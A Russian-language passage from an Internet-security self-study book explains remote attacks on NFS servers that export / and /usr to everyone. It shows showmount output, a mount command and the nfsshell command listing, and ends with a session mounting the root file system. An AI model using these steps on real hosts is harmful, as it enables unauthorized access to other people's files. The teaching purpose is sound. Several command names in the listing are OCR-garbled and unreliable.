Иллюстрированный самоучитель по защите в Интернет

Часто используемые методы удаленного взлома

Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запущены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.

[tsunami]# showmount -е quake
Export list for quake:
/ (everyone!
/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, – это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере.

[tsunami /root]# mount quake://mnt

Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге.

[tsunami nfs]# nfs
nfs> help
host <host> – установка имени удаленного узла
uid [<uid> <secret-key>]] – установка идентификатора удаленного пользователя
gid [<gid>] – установка идентификатора удаленной группы
cd [<path>j – изменение рабочего каталога на удаленном узле
led [<path>] – изменение рабочего каталога на локальном узле
cat <filespec> – вывод на экран заданного файла
Is – I <filespec> – просмотр содержимого удаленного каталога
get <fiiespec> – получение удаленного файла
df – информация о файловой системе
rm <file> – удаление файла на удаленном узле
in <filel> <f.ile2> – создание ссылки на файл
rnv <filel> <file2> – перемещение файла
mkdir <dir> – создание каталога на удаленном узле
rmdir <dir> – удаление каталога на удаленном узле
chmod <mode> <file> – изменение атрибутов файла
chown <uid>[.<gid>] <file> – изменение владельца
put. <Iccal-file> [<remote-file>] – отправка локального файла
mount [-upTU] [-P port] <path> – монтирование файловой системы
umount – демонтирование удаленной файловой системы
umountall – демонтирование всех удаленных файловых систем
export – просмотр списка всех экспортируемых файловых систем
dump – просмотр всех смонтированных удаленных файловых систем
status – вывод отчета о состоянии
help – вывод данной информации
quit – название говорит само за себя
bye – good bye handle [<handle>] – просмотр/установка дескриптора файла каталога
mknod <name> [b/c major minor] [p] – создание устройства

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.

nfs> host quake
Using a privileged port (1022)
Open quake (192.168.1.10) TCP

Затем посмотрим, какие файловые системы можно экспортировать.

nfs> export
Export list for quake:
/ everyone
/usr everyone

Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.

nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, transfer size 8192 bytes
Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.